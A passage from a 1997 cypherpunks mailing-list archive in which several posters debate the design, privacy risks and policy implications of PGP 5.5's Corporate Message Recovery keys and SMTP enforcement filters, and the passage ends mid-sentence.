		limit the ability of users 	to perform certain actions, 
		such as key generation."
	I assume the parts about key generation are limitations on the
	client, either generating PGP Crippleware?  It can't be 
	that heavy a restriction, since users could use PGP5.0,
	or 2.6.2 if the rest of the company can accept RSA keys,
	but it's sounds disturbing and it would be nice to see 
	documentation.  Could it be limits in the keyserver instead?

	Also not talked about - CERTIFICATE SERVER, and 
		CERTIFICATE SERVER REPLICATION ENGINE
	which has lots of cool LDAP directory lookup stuff.  
	The web page didn't say anything about policy administration 
	on the server, but it's another obvious hook, assuming people 
	in a company use it (e.g. a key server could only store keys 
	with CMRKey set to Mandatory, though I don't know if the 
	initial PGP CS version does that sort of thing.)

4) PGP 5.5 Implementation and GUI - 
	- When you generate a 5.5 DH key, you have the option of 
	specifying a CMRK and setting the Mandatory/Optional flag.
	I don't remember if there's an option to force you to use the 
	CMRK, or to set a default CMRK or default value for the 
	Mandatory flag, but the PGP folks kept saying things about 
	always asking you things and always letting you know 
	when it's going to do things.
	- The PGP 5.5 implementation puts at most one CMRK in the 
	record, though it doesn't choke on receiving multiples.
	- If you receive a key record containing CMRKs, PGP 5.5 stores
	them; I don't remember if it alerts the user at that point or
	only when the user uses the key later on.
	- If you encrypt a message using 5.0, it ignores the CMRK.
	- When you are encrypting a message, the GUI lets you pick 
	what keys to encrypt to.  If one of the keys has a CMRK, 
	if the Mandatory flag is not set, it asks if you want to 
	set the CMRK as a recipient.
	If the Mandatory flag is set, it puts the CMRK as a recipient.
	Either way, you can delete the recipient, and it doesn't 
	enforce it, and it also makes the CMR keys show up in red etc.
	It will nag you if you delete a mandatory, but won't stop you.
	(I think I got those details right.....)
	Also, if there's a CMRK KeyID, and your keyring doesn't 
	contain the key for that KeyID, it asks if you want to fetch 
	it from the keyserver.

	- As far as I remember, if you have a CMRK Mandatory set on 
	one of your keys, and you receive a message addressed to 
	your key, it doesn't check if the message was also addressed 
	to your CMRK.
	A Bad Guy could build an implementation that did this, but
	the messages are interoperable with PGP 5.0 and don't contain
	any indication that any recipients use or are CMRKs, so it's
	easy to work around if they do.  And a Bad Guy could also build
	in Passphrase Leakage or other evil things anyway.

	Again, the CMRK belongs to the recipient, not the sender,
	and deciding to encrypt to it belongs to the recipient.
	The ViaCrypt BusinessGAK version had a feature that let you
	compile in a Message Recovery Key that the sender was forced to
	use (which was a clone of the Always-Encrypt-To-Self code.)
	This is #defined out in both 5.0 and 5.5; the PGP folks 
	tried to see what happened if they #defined it in when 
	compiling, and it nicely dumped core when they used it.

5) SMTP filters - PGP Policy Management Agent for SMTP
	is really separate programs for Incoming and Outgoing mail.
	None of the PGP 5.5 features do more than nag you about using 
	them; they don't have an enforcement mechanism.  The 
	SMTP filters, on the other hand, are designed for enforcement,
	and some of the interesting security and control issues
	come from the interaction between the filters and the PGP5.5.
	The PGP folks said that their particular implementation
	was a quick and basic job using the toolkit -
	so even though it's not particularly draconian or intrusive,
	it's easy for people to write their own that are more hostile.

	Neither filter, for instance, saves copies or forwards copies
	of mail to an archive or corporate enforcers or runs scripts -
	all they do is pass or bounce the mail (with configurable message).  
	But you could write one that did, if you were that type of company.
	Source is not provided ("Look, we have to have _something_ to sell"),
	but some of the toolkit example code will be fairly similar.

	The filters don't look inside encrypted packets (so they
	don't have to manage private keys or other dangerous things).
	This does mean that they can check for encryption or signatures,
	but can't check if there's a signature inside an encrypted message.

6) Incoming SMTP filter - Really simple
	Remember - CMRKs are attached to the recipient, not the sender;
	this is the only place you can enforce that for your employees.
	Incoming mail is checked to see if it's acceptable, and either
	passed to a "real" SMTP server or bounced with a message
	(typically includes a policy statement or URL and/or
	a pointer to a key server handling the CMRKs.)
		Note that all the filtering is based on KeyIDs - 
		not email senders or email recipients or transport info.
	Messages can be rejected if they're unencrypted, or rejected if 
	the encryption recipients don't include one of a set of keys.
	Unless I'm remembering wrong if the list of keys was not
	dependent on the recipients, so you can't do things like
	"If Recipient=PurchasingClerk Require PurchasingBoss", 
	though you can require "One Recipient in set 
		PurchasingBoss, SalesBoss, EngrBoss", etc.
	Unfortunately, this pushes the company toward using one CMRkey,
	since it's not very flexible, though it can easily handle 
	multiples.

	There may have been an option to accept signed mail,
	or that may have only been in the Outgoing SMTP server.

	There wasn't an option to reject unencrypted mail.  
	(You could probably fake this by accepting unencrypted messages 
	while also requiring encrypted messages to include a recipient 
	whose key is not published anywhere and not publishing that 
	keyid so nobody runs a deadbeef attack on it.  
	I haven't verified this...)

	There wasn't an option to email a copy to the archive;
	you could write your own, but presumably any site that wants to
	save copies of all encrypted messages is already saving copies
	of all unencrypted messages already.  Or they're really
	only making sure there's a CMRKed copy of the session key
	so they can decrypt the message on the late recipient's disk
	after he gets hit by a bus or a subpoena.

7) Outgoing SMTP filter - more complex.
	IF Sender_IPaddr in LIST, Evaluate RULE (parameter KeyIDList) ->
	-> Accept (fwd to SMTP server)  OR Reject with parameterized 
	bouncemessage.  You only get one list of IP addresses, and you 
	can only accept/reject, but the rulesets are flexible, and you 
	can chain multiple filters together (the filter can run on 
	Port 25 but can also run on other ports, and can forward to 
	an SMTP server on other ports, so you can stack a bunch of 
	these on a single box and chain them together.)
		Note that this doesn't look at the sender's or 
		recipients' email addresses, just the sender's 
		IP address.  This is sometimes limiting 
		(consider mail servers with multiple users, or 
		multi-user machines, or people who do multiple 
		functions from one machine), but it's more secure than 
		trusting easily forged information like the sender and 
		sender's address.  A fancier system would include these 
		in filtering capability.  That capability may have been
		left out on purpose, or it may just be limited 
		development time.
	(I don't remember if you can use multiple rulesets, 
	but you can stack.)  I also don't remember 
	all the possible rules, but this is close:
	- Require Encryption  (yeah!)
	- Require Encryption to Key on KeyIDList 
		-- remember that CMRKs are attached to recipients' keys,
		not to senders' keys or mail packages, so the senders 
		have to include any required keys themselves unless the 
		recipients' CMRK keys are administered jointly with 
		the SMTP server.  (Sending them enough bounce messages 
		may give them a hint, but the sender's PGP5.5 system 
		won't do it automatically.)
		Thus, it's easy for CompanyA BuildingA to make sure that
		messages to CompanyA BuildingB employees are encrypted 
		to one of CompanyA's CMRKs, but it doesn't have a clue 
		about CompanyB's CMRKs or RandomRecipient's CMRKs, 
		though if the recipients put their keys and CMRKs on 
		some public keyserver a more sophisticated (and slower)
		SMTP gateway could check.
	- Require Signature (Remember that it can't look inside 
		encrypted messages, so it only does this for 
		unencrypted signed messages.)
	- Require Signature from KeyIDList - since this ruleset is 
		used along with IP address lists, you could require 
		things like
		"All email from Purchasing's machines are signed by 
			Purchasing"
		"All email from the PR department is signed by the 
			Marketroid Key"
		"All email from PR users is also signed by 
			someone technical" :-)
		"All email from technical people is signed by 
			Corporate Security" :-(
		"All email from the company president's key is signed by 
			PR and Legal" (Note that this doesn't let you say 
			"All email purporting to be from the company 
				president" 
			since it doesn't read email headers.)
		"All mail from the company president's real key is 
			signed by the company president or her secretary"
	- Block encrypted mail, block signed mail (I think both of 
		these were there, and if they weren't, you could 
		implement them by some combination of features.)
	- Clear Text	- you can allow this or block it.

Storage Keys vs. Signature Keys vs. Message Encryption Keys -
	As described above, PGP5.* does use separate keys & algorithms
	for signatures and encryption, except for the old RSA keys.
	Storage Keys are a different issue - the main distinctions
	between storage keys and message encryption keys are
	- storage keys are used by the owner, while message encryption 
		keys are used by someone other than the owner for 
		items that will be given to the owner.
	- storage keys are useful when you have the storage media,
		message encryption keys are useful when you have a
		copy of the message, either legitimate or eavesdropped.
	- message encryption cyphertext gets mailed; stored
		cyphertext just sits there :-)

	PGPdisk is a pure storage key system, and perhaps there 
	would have been less political furor if PGP had done 
	Corporate Storage Recovery Keys, but it's not a mainstream 
	product for PGP Inc., and only runs on Macs.  
	Doing the storage job right means integrating with
	backup servers (disk drives get crashed or scribbled
	far more often than employees get hit by trucks...)
	which isn't PGPInc's specialty.

	In reality, users often use PGP for storage, including for
	messages they've received (depending on their mail GUI)
	and for files on disks (encrypted to themselves.)
	File-by-file encryption is easier to back up securely than
	whole-disk encryption, which requires either dumping the whole 
	disk to backup media or copying to the backup in the clear.
	The latter is especially useful if the backup server is also
	an encrypted storage system, but the copying may be a security
	risk, unless you do really fancy things, 	and there's the 
	whole question of whether the backup storage is encrypted 
	with the same keys as the primary (hit-by-truck risk) or with 
	a different key (corporate message access equivalence risk.)

Business environment and documentation - [Mostly non-technical]
	PGP is a real business.  They've got deadlines, 
	they've got accountants, they've got people beating them up 
	to ship code by the end of the quarter so they can bill people,
	they've got customers telling them they won't buy stuff until 
	they get Feature X added or removed, all the usual stuff.
	The design consultants who used to do their export controlled 
	web site left them a maze of twisty little CGI scripts, 
	all different, so getting actual technical documentation out 
	has taken far more work than anybody had time to do before 
	a release date.  (Some documentation is claimed to exist :-)
	Their SMTP packages could have had far more features, but they
	felt this at least minimally met their requirements, and there
	was some thought toward extensibility.

	While 5.0 did introduce new data formats, they're not stealthy,
	because they haven't seen much (any?) paying-customer demand,
	and features like the SMTP filters depend on being able to
	know how many recipient-key records a message contains,
	where their boundaries are, and what their KeyIDs are.
	So they recommend that people who want stealth go work OpenPGP
	and build formats that work to pressure PGP Inc. into using it.

	One of Phil's goals had been to design a system that provided 
	the business message recovery features their customers were 
	asking for without providing access to users' private or 
	signature keys, as a counter-argument to the GAK advocates 
	who claim they need it.	[ As might be expected, 
	much heated discussion occurred on this issue.  :-) ]

	Some things that time pressure makes it difficult to
	think about, or at least implement, beside stealth, 
	are features like secret-sharing the session keys to CMRKs
	(it's not possible to do this cleanly, without affecting
	a bunch of other things), or making session key recovery
	a difficult and slow process so it doesn't get done often
	(e.g. zeroing the bottom N ~ 32-40 bits of session key
	so recovery requires some brute force as well as the keys.)
	Building in the ability to crack messages using a single
	master key is really bad (though at least it can be a
	different master key per user or per message); perhaps when
	5.6 or 6.0 handles multiple CMRKs it will implement them
	by secret-sharing rather than making them each full recipients.

- Customers -
	Some of the customers do want to "recover" all their users' 
	traffic. Others wanted to make sure that mail to a customer 
	service rep got encrypted to the other customer service reps 
	also, or at least to the rep's boss, so someone could handle
	the business if the original recipient was away.

	One of the more obnoxious customers was implementing CAK by
	having the Corporate Security department generate keys and
	hand them to the users on floppies; this gives them a less
	obnoxious approach that they're willing to try.

	One of the customers was really paranoid about making sure
	their employees didn't leave their CAD drawings encrypted
	and then steal them or extort money from the company for
	decrypting the plaintext when they quit; apparently the
	idea of using a document management system like programmers
	use for source code control had never occurred to them....
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 15 Oct 1997 08:48:12 +0800
To: cypherpunks@cyberpass.net
Subject: why Phil Zimmermann should be speaking out against pgp5.5 and CMR
Message-ID: <199710150017.BAA08707@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




(Readers may notice PRZ's email address on the Cc line, this is an
open letter addressed to him).

In the debate on the controversial pgp5.5 commerical message recover
(CMR) system, I noticed someone made the comment that they couldn't
see what the big deal is with enforced multiple crypto recipients who
aren't also message recipients, as pgp2.x has had non-enforced
multiple crypto recipients for ages.

I will put the case for why this practice should be avoided for
security reasons.

I would like to also put the case of why the enforced multiple crypto
recipient construct should be avoided in building messaging systems
where the designers would like to avoid building GAK compliant
systems.


The security reasoning is simple: there are is an extra door into the
encrypted data: via the CMR key.  Introducing an extra door reduces
security, because there are now two keys which could be compromised to
gain access to the data.

That was simple.  Possibly not that major a problem, perhaps both keys
are so well secured that the additional leakage is academic.  In that
case, fair enough.


Now the GAK compliant case:

Firstly it is important to understand the subtle but very significant
difference between enforced crypto recipients who aren't message
recipients and normal pgp2.x style multiple crypto recipients.

This difference is as much to do with the way that mail clients and
plugins have used the pgp2.x multiple crypto recipients in fielded
systems as with the actual messaging packet differences.

A message recipient is someone who's email address is listed in a To:
Cc: or Bcc: field in your mail client.

A crypto recipient is someone who will be able to decrypt the message.
Pgp is a hybrid crypto system, a message consists of the email
encrypted with a randomly generated symmetric key, the session key.
The session key is in turn encrypted to the public key of the
recipient, these are called Public Key Encrypted (PKE) packets.  To
implement multiple crypto recipients pgp simply tacks on as many PKE
packets as there are crypto recipients; each PKE packet being the
session key encrypted to the public key of one of the crypto
recipients.


Now in most fielded PGP email plugins, and clients which take notice
of Cc: and Bcc: fields, the number of crypto recipients ties directly
with the number of message recipients.

This makes it difficult therefore for the existing systems to automate
encryption to a third party without software modifications.  If a
company which is hoping to become a market leader (a hint PGP) were to
retain this functionality, GAKkers would find it difficult to use this
software to effectively impose GAK.

Sure you can Cc: your message to the NSA key.  This would be voluntary
GAK.  Carl Ellison and a number of others suggested this whimsically
years back.  As in "What's all the fuss about voluntary key escrow,
I'll implement voluntary key escrow for you right now, get DIRNSA to
generate a key, and I'll sign it, and put it on the keyservers -- end
of problem".  Carl Ellison had a very good point.  The government
doesn't want voluntary key escrow, they want as some suspected all
along mandatory key escrow, they want GAK (the GAK term is
coincidentally another Carl Ellison meme).

The reason this is voluntary GAK is that the user in most mail systems
would have to go to some concious effort to do this, and may forget
some of the time.  (It's difficult to make "forgetting" a 5 year
jailable offense).

Now I'm well aware that some email clients, and MTAs will no doubt
allow you to forward copies of all your email transparently to another
party.  (Please don't flood us with replies describing such
functionality).  But this is not really the point; it doesn't matter
if you can forward copies of your encrypted email
"thoughtpolice@nsa.gov" -- they can't decrypt it with out the
recipients key.


Now we come to the danger of PGP Inc's CMR mechanism.

CMR breaks this traditional premise that the crypto recipients
correspond one-to-one with the message recipients.

What it allows is instructions to be given in a public key that tell
the software to encrypt messages intended for the owner of this key to
two message recipients.

This means that for example:

If Phil Zimmermann is using his own companies pgp5.0 mail client (and
I presume he is), that if the US Government were to pass a law
requiring everyone to generate new CMR keys that he would be able to
comply without changing his software.  This is why I would argue that
even pgp5.0 is GAK compliant, it knows how to understand CMR public
keys.

(I am not actually sure if the pgp5.0 mail client can generate CMR
public keys, but the pgp5.5 one can for sure, I'd welcome
clarification on this point).

The new mandatory GAK law would mean that if he didn't generate a CMR
key he would go to jail.  So he complies.  The terms of the law
dictate that the CMR recipeint in individual's mail clients must be
"thoughtpolice@nsa.gov".

Now the next time one of PRZ's favourite resistance groups that he
likes to tell us stories about send him an email thanking him for the
useful piece of software he provided them with, the USG can listen in
because the pgp5.0 software which the resistance fighters have
presumably also upgraded to will understand PRZ's CMR key.  The USG
will if it suits their purposes sell this information to the
government in the originating country, and they will have the death
squads go kill the resistance fighters if they can determine their
identities from the leaked message.

This kind of makes a mockery of what PRZ and the PGP brand stands for.


Now the pgp 5.5 defenders at PGP Inc will jump up at this point and
tell us that this is not so because pgp 5.0 has ability to strip out
the second enforced recipient.  Well it does.  However, PGP Inc has
come up with another related clever innovation: their SMTP policy
enforcer.

This ensures that when resistance fighters attempt to send PRZ email
inside the PGP Inc offices (where they will be presumably field
testing their GAKware software suite), that if they do take off the
CMR recipient, that their mail will bounce.

So not being technical crypto gurus, they will try not taking it off
next time and the NSA will read the mail again, resulting in the
resitance fighters death.

Or perhaps alternatively if they really did want to send him email for
an important reason, like perhaps to warn him that the corrupt
government they were fighting against was going to introduce a law of
mandating the use of pgp5.5 by all ISPs and individuals, they would
have no way to reach him.  This would suit PRZ quite well, because he
probably wouldn't want to hear that.


Actually it is possibly not fair to pick on PRZ, as I consider it
somewhat likely than PRZ is dragging his feet internally to PGP, but
is powerless to stop the corporate mindset now at the helm.  And if so
I apologise for making points at his expense.  But also it is
important that if PRZ is against this move, that he speak up.  That
act would have major significance in altering PGP Incs mind.

It might also result in a parting of the ways, but I understand from
attenders at a physical cypherpunks meeting in the US that PRZ when
quizzed about PGP Inc corporate mentality meaning the company would
eventually sell out to GAK, relayed that he would quit rather than
have be associated with this.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Wed, 15 Oct 1997 08:13:13 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Just say "No" to key recovery concerns...keep OpenPGP pure
In-Reply-To: <v03102800b06978017bc1@[207.167.93.63]>
Message-ID: <Pine.BSF.3.96.971015013850.18390A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 14 Oct 1997, Tim May wrote:
> (Disaster planning, for "what if Alice gets hit by a
> truck?" scenarios, are of course handled by having Alice lock up her
> private keys in her safe, or perhaps her department manager's safe,
> whatever. This is a dangerous security flaw, if the key is released, but
> has the advantage that it's a fairly conventional recovery approach, and is
> not built into the cryptosystem itself.

Tim,
The system above you are proposing is [C,G]AK, plain and simple. This is
what some companies are doing already. And it is a Bad Thing.

[Sidetrack: which is of course why PGP had to find another solution to
present to those customers already using GAK. IMHO, and I can't help but
be a bit surprised that I find myself in the minority on this
issue, at least as far as the list is concerned. What PGP did was
_elegant_.]

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bianca <bianca@dev.null>
Date: Wed, 15 Oct 1997 16:12:21 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: Just say "Huh?" to key recovery concerns...keep OpenPGP pure
In-Reply-To: <Pine.BSF.3.96.971015055251.18802C-100000@pakastelohi.cypherpunks.to>
Message-ID: <3444764D.1731@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



I hate to insert a modicum of realism into an otherwise wonderful debate
currently taking place on the Cypherpunks list in regard to the saints
or sinners (depending on the angle that one is pissing from) at PGP,
Inc.(arcerated, if PRZ hadn't folded his hand).
However, my Bullshit Meter indicates that bullshit is currently 'en
vogue' as the preferred 'opiate of the masses' and that the ultra-fine
distinctions between GAK and CMR that are being hotly debated on the 
list are likely to be largely ignored by the huddled masses, yearning 
to be monitored.

SURVEILLANCE==SECURITY
Call it Double Speak or Spin Doctoring, it doesn't really matter. The
citizen-units have bought into the 'America's Funniest Home Videos of
Law Enforcement Agents Busting Dark Skinned Threats To Decent Americans
On Prime-Time TV Thanks To Total Video Surveillance of the Citizenry'
message being promulgated by the mainstream entertainment/news media.

This is why nobody even blinked when legislation was recently passed
which criminalized the possession of toilet plungers, except for those
involved in meeting the legitmate needs of law enforcement to shove
toilet plungers up the citizens' assholes.
(Hell, I usually pay extra for that...)

OK, so I just made that stuff up. Nonetheless, it *could* be true at
some point in the near future, if DoubleSpeak, NewSpeak, SpinSpeak
and I'mTooTiredToFightItAnymoreSpeak become the unchallenged rule
of the day (which is not far from becoming a total reality).

However, the point which I am not terribly concerned about making
is this:
  The great sin of ViaCrypt/PGP is that they are failing to maintain
standards of integrity that are far above that of the large mass of
humanity that they are counting on to comprise the bulk of their
customer base.

What is the quote...??? 
"Nobody ever went broke underestimating the intelligence of the
public." (?)

I would very much prefer that ViaCrypt separate their 'Corporate Message
Recovery' software from the PGP name/reputation-capital, but I would
rather the situation remain as it is than to see PGP/ViaCrypt go under
and leave the encryption software field to those with *no* history of
'doing the right thing.'
I sincerely hope that the CMR software is the result of those designing
it getting caught up in the erronius security concepts being promulgated
by those with a fascist axe to grind, and that it is not the result of
people of integrity 'consciously' averting their gaze from reality in
order to increase their bottom line.

If the current form of PGP/CMR is the result of normal diversion of the
optimum design, due to the time/monetary pressures of everyday business,
then the flaws in the product can be rectified in the future.
If this is not the case, then it will be incumbent upon those who are
aware of the dangers the technology presents, in its current form, to
develop viable methods of circumventing the technology's flaws and/or
weaknesses.

To tell the truth, my main concern with the direction that PGP/CMR has
taken is that there are not many role models left in life, and it would
be a shame to lose yet another one due to lack of the character and
perserverance that is needed to go against the grain of everyday
business reality.
The posts to the Cypherpunks list surrounding the issues involved in
the current release of corporate PGP have been very enlightening to
those of us who count on those such as Peter, Adam, William and others
to 'shake it down' from a technical perspective. However, the pros and
cons being debated on the list will have little meaning in the long
run if those of us who are capable of understanding the issues involved
do not take the time, and make the effort, to fully understand the
implications involved, and to use whatever influence we have in society
and the computer industry to rail against the dangers and work toward
optimum solutions to the weaknesses and shortcomings in the technology
which can threaten privacy, liberty and freedom.

The fact of the matter is, although a company does indeed have a right
to exercise control and supervision over their business affairs, they 
have no right to exercise the same amount of control and supervision 
over an employee's phone call or email to his or her spouse, or family
members, or their communications with the cable company over when they
can be present at home to have their cable TV hooked up.
If a company has set up a system whereby an employee needs to ask
permission to make an unmonitored phone call, or send a personally
encrypted email during the course of the business day, then the
company and the employee have become adversaries.

Governments and Corporations become fascist dictators 'by default.'
When they remain conscientious, humanitarian institutions over a long
period of time, it is the result of the efforts of those within the
governments and corporations to 'make' it so.
If man does not rule the machine, then the machine will rule the man.
[Women rule *both* (;->)------(<-;)]

There is a far cry of diffenence between:
1) "Boss, can I have permission to talk privately, without supervisory
  monitoring, to my child's doctor, since he/she is sick and the doctor
  needs to speak frankly and privately to me?"
and
2) "Boss, I needed to speak privately to my child's doctor, so I 
  bypassed the monitoring mechanisms and informed my supervisor
  as to my reasons for doing so."
and
3) "Boss, I damn glad I work in one of the few remaining companies
  where I am trusted to act in the best interests of both myself
  and the company, and not be spied on over every minor detail out
  of a sense of mistrust."

I realize that we live in a world where the company president (of
Borland?) can steal company secrets and take them with him/her to
his/her new place of employement. And janitors can go through the
garbage to gain access to company secrets that they can sell to
the competition.
However, I truly believe that TOTAL SECURITY is an impossible goal,
and that internal company security should be geared toward making
it necessary for outside forces to attack the system in order for
the corporate information system to be compromised.
The situation within a company is much the same as the situation
within a country. Even the most fascist and draconian of rules 
and regulations will not prevent the anti-fascists and anti-
draconians from playing the secrecy/security game better than
one's own players. (Or prevent the janitor from inadvertently
leaving valuable corporate information lying on the top of the
garbage pile.)

Corporate Security is not a far cry different from National 
Security or Private Security.
All involve an elliptical curve beyond which 'security' becomes
our oppressor, rather than our savior.

I have listened closely to both sides of the debate over corporate
interests versus government shenanigans, and do not disagree too
strongly with either side of the debate.
I believe what may be understated is the reality that any government,
any philosophy or psychology, any devised system of democracy or
security, is dependent upon the knowledge, wisdom and integrity of
those who are involved in upholding the concepts underlying it.

It matters little whether the Supreme Court is 'stacked' with
liberals or conservatives, it is still 'stacked.'
It matters little whether we are 'pretending' to listen to the
arguments of our 'liberal' or 'conservative' foes, we are still
'pretending' to be men and women of reason.

The great danger that exists is that men and women of high intellect
and reason will make the mistake of assuming that their fellow
primates are working off of the same game sheet as they are.
If the same party takes all of the steps backward, as the other
party keeps stepping forward, then the word 'compromise' is being
misused. Buy a clue...

I have no more desire to live in a world full of Dimitri Vulis's 
than I do to live in a world full of Tim C. Mays.
I want to live in a world full of CypherPissers who shoot themselves
in the foot as often as they shoot each other in the head, so that
the Universe maintains its natural balance.
Ignorant incompetence is a far less troubling manifestation than is 
that of conscious evil. Yet we live in a world that 'condemns' the
former and 'compromises' with the latter.

What I find troubling is the fact that 'evil' seems to have a game
plan, while 'good' seems to be locked in an endless argument over
how to proceed so that every aspect of life remains unequivocably 
'equal,' no matter whether nature itself cries out against it.
In effect, 'evil' is in agreement, and advances, while 'good' is
locked in battle with itself, arguing over how many angels can 
stand on the head of a pin.

The longer we refrain from speaking out against the evils of Waco,
the more we will be faced with OKC bombings. If all of us had
protested loud and long over the Waco injustice, then there would
have been no need for the universe to balance it out with OKC.
The turbulence and/or violence of our future is dependant upon
where we draw the line, as individuals and as a society, where 
we say, "This far, and no further."

The end result of the government's promotion of GAK, or PGP's
implementaion of CMR, will not be dependent upon the aims and
goals of those promoting and developing the concepts and the
underlying methodologies behind them, but upon the willingness
or unwillingness of you and I to 'go gently into the night'
when we are faced with an opponent who steps across the line
we have drawn in the sand to represent our own beliefs and
level of personal integrity.
The more of us who are willing to compromise by 'moving' that
line, the more that Doom closes quickly around us, and we are
hung on the cross, with Nine Inch Nails.

Bianca
~~~~~~

>  -- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
>    "Tonga? Where the hell is Tonga? They have Cypherpunks there?"

  "Alice? Alice? Who the fuck is Alice? Is she a Cypherpunk?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Price <wprice@pgp.com>
Date: Wed, 15 Oct 1997 17:38:36 +0800
To: Adam Back <ietf-open-pgp@imc.org
Subject: Re: proposal: commercial data recovery
In-Reply-To: <199710140937.KAA01187@server.test.net>
Message-ID: <v04001b0eb06a3d206797@[205.180.137.244]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Adam:

First, let me state some overriding design goals of a data recovery system
required to ensure privacy: the sender must know and consent to every key
that will be able to read the message during its lifetime, the encryption
must be end-to-end, and the recipient must know exactly who else can
decrypt the message.  The sender's privacy is paramount as it is their data
which is being trusted to the system.  These are basic principles not only
of a data recovery system, but for any cryptosystem.

The design you have been espousing for the last week or so in your many
messages takes the power out of the hands of the sender and encourages
automated violations of the sender's privacy by the recipient (perhaps even
unbeknownst to the recipient).  In your model, the recipient automatically
decrypts and then re-encrypts to a data recovery key -- even though
end-user computers are likely to be insecure thus making this decrypt &
reencrypt step rather specious at best.  The only information the sender
has before sending the message is "your message might be able to be read"
by someone else, or more likely no information whatsoever as there is no
need to put such information in the protocol as far as the format is
concerned.  Either way, the sender is thus easily led into a false
assumption of security.  The encryption is not end-to-end but rather is
completely unwrapped in the middle and then rewrapped introducing serious
security flaws, and the sender has no idea to whom the message will be
auto-reencrypted by the receiver.

As an actual data recovery system, it also fails fundamental tests.  If I
encrypt critical data to a colleague wiping it from my system after
sending, then the colleague is incapacitated before receipt and processing
of the message, the data can never be retrieved.  A data recovery system
must solve this kind of issue -- data recovery here means that from
end-to-end the data is recoverable in case of emergency.  One cannot ignore
message transit time in this -- it can take days for a message to travel
from AOL to the outside world.  If you don't need data recovery, don't use
it, but at least respect the people who do need it and need it to actually
work at all points.

>With these three principles you still have lots of flexibility because
>you can escrow storage keys

I'm truly amazed that you would attack in such a spiteful fashion a simple
system which adds a recipient-requested, sender-approved extra recipient
which is end-to-end wherein all recipients are under the sender's control
and each recipient knows who can read the message with no key escrow using
the same old PGP message format we all know and love without change, and
yet you propose a much less secure system which allows hiding critical
information from the sender and does not adequately perform its stated
purpose of data recovery.

- -Will


Will Price, Architect/Sr. Mgr.
Pretty Good Privacy, Inc.
555 Twin Dolphin Dr, Ste.570
Redwood Shores, CA 94065
Direct (650)596-1956
Main   (650)572-0430
Fax    (650)631-1033
Pager  (310)247-6595
wprice@pgp.com
Internet Text Paging: <mailto:1333485@roam.pagemart.net>
<pgpfone://clotho.pgp.com>
<http://www.pgp.com>

PGPkey: <http://pgpkeys.mit.edu:11371/pks/lookup?op=get&search=0x5797A80B>


-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNESODay7FkvPc+xMEQIVuACfZwywDZSvGlsxefZuTyO6A+TFxlUAn39a
0FkpIVd4jcAIYpVNpIpofdSB
=nj0q
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 15 Oct 1997 09:57:43 +0800
To: shamrock@cypherpunks.to
Subject: Re: Just say "No" to key recovery concerns...keep OpenPGP pure
In-Reply-To: <Pine.BSF.3.96.971015013850.18390A-100000@pakastelohi.cypherpunks.to>
Message-ID: <199710150138.CAA09580@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Lucky Green <shamrock@cypherpunks.to> writes:
> On Tue, 14 Oct 1997, Tim May wrote:
> > (Disaster planning, for "what if Alice gets hit by a
> > truck?" scenarios, are of course handled by having Alice lock up her
> > private keys in her safe, or perhaps her department manager's safe,
> > whatever. This is a dangerous security flaw, if the key is released, but
> > has the advantage that it's a fairly conventional recovery approach, and is
> > not built into the cryptosystem itself.
> 
> Tim,
> The system above you are proposing is [C,G]AK, plain and simple. This is
> what some companies are doing already. And it is a Bad Thing.

It is GAK pervertable, but it is much more resistant to GAK perversion
than PGP Inc's CMR system.  I think Tim can reason pretty well without
cribbing from the anti-GAK principles, but that he could present
marginally more GAK-hostile systems by using the anti-GAK principles.
(Or perhaps he would figure them out anyway but figures them to be too
complex... my only real claim is that by working to these principles
that it helps clarfiy what you are trying to defend against, and
trying to avoid in your systems).

The reason that you are right that what Tim suggests is GAK
pervertable is that it partly violates one of the anti-GAK design
principles I have been trying to hone.

It violates the principle that recovery information should not be
communicated (via sneaker net on a floppy to the company safe).

It does however obey the corollary that: if you figure you must move
recovery data, you should at least make it inconvenient, avoid
electronic communicated recovery data, and generally require the
recovery data to be as localised as possible.  (Also the principles
state that you should use forward secret comms keys, but I think that
might be pushing it for sneaker net between machines and a laptop in
the safe for ergonomics reasons :-)

Here is how use of the anti-GAK design principles can help to provide
a more GAK hostile system:

It is better to use recovery rather than escrow.  (Encryption of
Alice's private key with a companies recovery key).  This allows you
then to store the recovery information more locally to the data,
closest possible locality to data being another anti-GAK design
principle.

Now how is this harder than GAK?  Heh well you need to use your
imagination and try to make a system designed to fuck with the GAKkers
minds at this point.  Remember not only do you design the system to
not communicate the key automatically, you try your best to prevent it
being removed from the system.

Here's a few ideas:

You store the recovery info on the users disk only, but you do your
damnest to obfuscate it.  Encrypt it with keys hidden in the
executable, obfuscate the code to hell and back, and don't provide
source for that module.  (Obfuscation tricks like interpreter of
encrypted instruction streams ought to take a little bit of
unwinding).

You also hide the recovery data inside the keyrings, and obfuscate
them to hell and back around the file system in slack space etc.  This
